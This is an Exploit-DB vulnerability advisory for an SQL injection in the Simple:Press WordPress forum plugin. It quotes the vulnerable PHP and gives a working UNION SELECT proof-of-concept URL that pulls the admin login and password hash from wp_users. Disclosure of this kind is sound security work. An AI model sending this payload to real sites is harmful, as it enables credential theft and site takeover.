Simple:Press WordPress Plugin 4.3.0 - SQL Injection Vulnerability

2010-07-04T00:00:00
ID EDB-ID:14198
Type exploitdb
Reporter ADEO Security
Modified 2010-07-04T00:00:00

Description

Simple:Press Wordpress Plugin SQL Injection Vulnerability. Webapps exploit for php platform

                                        
                                            # Title: Simple:Press Wordpress Plugin SQL Injection Vulnerability
# Author: ADEO Security
# Published: 03/07/2010
# Version: v4.3.0 (Possible all versions)
# Vendor: http://simple-press.com
# Download: http://simple-press.com/download-manager.php?id=228

# Description: "Simple:Press – the feature rich, completely integrated
and fully scaleable forum plugin for WordPress.
Highly customisable, Simple:Press packs the features of a standalone
forum into a plugin – seamlessly turning your WordPress site into a
community."

# Credit: Vulnerability founded by Canberk BOLAT at ADEO Security Labs
        - Mail: security[AT]adeo.com.tr
        - Web: http://security.adeo.com.tr

# Vulnerability:
In the search field, search values not filtered and inserted into sql
queries without using any quotes/single quotes and Simple:Press
execute this sql queries.

sf-header-forum.php
---[snip]---
385		# Add Search Vars

386		if(isset($_GET['search']))

387		{

388			if($_GET['search'] != '') $sfvars['searchpage'] =
sf_esc_int($_GET['search']);

389			if(isset($_GET['value']) ? $sfvars['searchvalue'] =
stripslashes(urldecode($_GET['value'])) : $sfvars['searchvalue'] =
'');

390			if(isset($_GET['type']) ? $sfvars['searchtype'] =
sf_esc_int($_GET['type']) : $sfvars['searchtype'] = 1);

400			if(isset($_GET['include']) ? $sfvars['searchinclude'] =
sf_esc_int($_GET['include']) : $sfvars['searchinclude'] = 1);

401			if($sfvars['searchinclude'] == 0) $sfvars['searchinclude'] =1;

402			if($sfvars['searchtype'] == 0) $sfvars['searchtype'] =1;

403		} else {
---[snip]---

At the line 389, HTTP GET Request "value" defined as global variable
$sfvars['searchvalue'] with filtering functions that stripslashes()
and urldecode() but they can't secure it because in the
sf-database.php file the global variable $sfvar['searchvalue']
inserted into sql query without any quotes/single quotes.

sf-database.php
---[snip]---
...
401		$searchvalue=urldecode($sfvars['searchvalue']);

...

404		if($sfvars['searchtype'] == 6)

...

409			$ANDWHERE = " AND topic_status_flag=".$sfvars['searchvalue']." ";

410

411		} elseif($sfvars['searchtype'] == 8)

...

414			$userid = $sfvars['searchvalue'];

415			$SELECT = "SELECT SQL_CALC_FOUND_ROWS DISTINCT ";

416			$MATCH = "";

417			$ANDWHERE = " AND ".SFPOSTS.".user_id=".$userid." ";

418

419		} elseif($sfvars['searchtype'] == 9)

...

422			$userid = $sfvars['searchvalue'];
...

425			$ANDWHERE = " AND ".SFTOPICS.".user_id=".$userid." ";
...
---[snip]---

Its successfully exploitable with search types 6,8,9. Please see # PoC section.

# PoC:
Request: http://server/wordpress/?page_id=4/&forum=all&value=9999+union+select+(select+concat_ws(0x3a,user_login,user_pass)+from+wp_users+LIMIT+0,1)--+&type=9&search=1&searchpage=2

Response: Topics started by admin:$P$B9TLvhE1l2swasFRlOcABmbhZteCCo.
(0 Matches Found)

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Exploit-DB Notes:
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Tested platform:
* Ubuntu Linux version 2.6.32-22-generic (buildd@palmer) (gcc version 4.4.3 (Ubuntu 4.4.3-4ubuntu5) )
* PHP5 + Apache2 + Mysql
* Latest version of Wordpress
* Simple:Press version=v4.2.2  (as of 07/05/2010 vendor still provides v4.2.2)
* Settings: Magic_Quotes = off; Global variables = On